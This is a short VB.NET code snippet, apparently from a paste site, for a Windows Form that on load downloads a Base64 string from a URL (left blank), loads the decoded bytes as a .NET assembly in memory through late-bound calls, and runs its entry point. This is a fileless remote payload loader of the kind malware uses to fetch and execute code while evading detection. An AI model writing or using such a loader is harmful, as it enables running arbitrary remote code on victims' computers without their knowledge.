Public Class Form1 Protected Dyingfetus As New Net WebClient Protected

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
Public Class Form1
Protected Dyingfetus As New Net.WebClient
Protected Dyingfetus1 As String = Dyingfetus.DownloadString("")
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = king2.load(Convert.FromBase64String(Dyingfetus1))
Dim mr1 As Object = CallByName(mr, "EntryPoint", CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected king2 As Object = AppDomain.CurrentDomain
End Class